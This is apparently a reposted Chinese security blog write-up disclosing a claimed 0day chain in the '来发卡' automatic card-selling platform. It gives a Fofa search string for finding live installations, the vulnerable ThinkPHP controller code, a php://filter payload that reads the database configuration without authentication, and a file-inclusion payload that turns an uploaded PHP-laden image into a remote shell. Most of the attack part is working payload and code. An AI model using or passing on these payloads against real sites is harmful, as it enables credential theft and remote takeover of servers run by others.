来发卡自动发卡平台审计+组合拳RCE(0day)

admin 2024年7月17日16:27:01评论102 views字数 2191阅读7分18秒阅读模式

0x00 前言

Fofa:"/static/app/mode_yunyi/css/mobile.css"

来发卡自动发卡平台审计+组合拳RCE(0day)来发卡自动发卡平台审计+组合拳RCE(0day)

框架:ThinkPHP Debug:True

0x01 前台任意文件读取漏洞

位于 /wechat/controller/Review.php 控制器的 img 方法存在file_get_contents函数,且传参url可控,且无有效鉴权,导致漏洞产生.

/*** 微信图片显示*/public function img(){    $url = $this->request->get('url', '');    $filename = FileService::getFileName($url, 'jpg', 'tmp/');    if (false === ($img = FileService::getFileUrl($filename))) {      $info = FileService::save($filename, file_get_contents($url));      $img = (is_array($info) && isset($info['url'])) ? $info['url'] : $url;    }    $this->redirect($img);  }

我们追踪一下 getFileName 函数 extendserviceFileService.php 实际上这里是md5命名了一下传入的文件名,然后直接返回地址.

public static function getFileName($location, $ext = '', $pre = ''){  return $pre . join('/', str_split(md5($location), 16)) . '.' . $ext;}

最后使用Save函数保存文件,之后浏览器直接就会跳转到读入的文件地址中.

/*** 根据当前配置存储文件* @param string $filename* @param string $content* @param string|null $file_storage* @return array|false*/public static function save($filename, $content, $file_storage = null){    $type = empty($file_storage) ? sysconf('storage_type') : $file_storage;    if (!method_exists(__CLASS__, $type)) {      Log::error("保存存储失败,调用{$type}存储引擎不存在!");      return false;    }    return self::$type($filename, $content);  }

有趣的是,这里因为是file_get_contents 所以支持伪协议,同时也支持Phar协议!

Payload:

/wechat/Review/img?url=php://filter/read=/resource=application/database.php

来发卡自动发卡平台审计+组合拳RCE(0day)

攻击之后就会跳转到图片地址,直接访问即可读取数据库配置文件

来发卡自动发卡平台审计+组合拳RCE(0day)

0x02 前台任意文件包含漏洞

位于 /wechat/controller/Review.php 控制器的 index 方法存在 assign 函数,且第一个传参可控,导致漏洞产生

/*** 显示手机预览* @return string*/public function index(){    $get = $this->request->get();    $content = str_replace("n", "<br>", $this->request->get('content', '')); // 内容    $type = $this->request->get('type', 'text'); // 类型    $this->assign('type', $type);    // 图文处理    if ($type === 'news' && is_numeric($content) && !empty($content)) {      $news = WechatService::getNewsById($content);      $this->assign('articles', $news['articles']);    }    // 文章预览    if ($type === 'article' && is_numeric($content) && !empty($content)) {      $article = Db::name('WechatNewsArticle')->where('id', $content)->find();      if (!empty($article['content_source_url'])) {        $this->redirect($article['content_source_url']);      }      $this->assign('vo', $article);    }    $this->assign($get);    $this->assign('content', $content);    // 渲染模板并显示    return view();  }

可以先通过0x01的任意文件读取漏洞远程写入一个文件内容为<?php phpinfo();?>的 jpg文件,然后再包含即可组合拳构成Getshell

来发卡自动发卡平台审计+组合拳RCE(0day)

Payload:

/wechat/Review?cacheFile=./图片路径

来发卡自动发卡平台审计+组合拳RCE(0day)

 

原文始发于微信公众号(星悦安全):来发卡自动发卡平台审计+组合拳RCE(0day)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月17日16:27:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   来发卡自动发卡平台审计+组合拳RCE(0day)http://cn-sec.com/archives/2965725.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息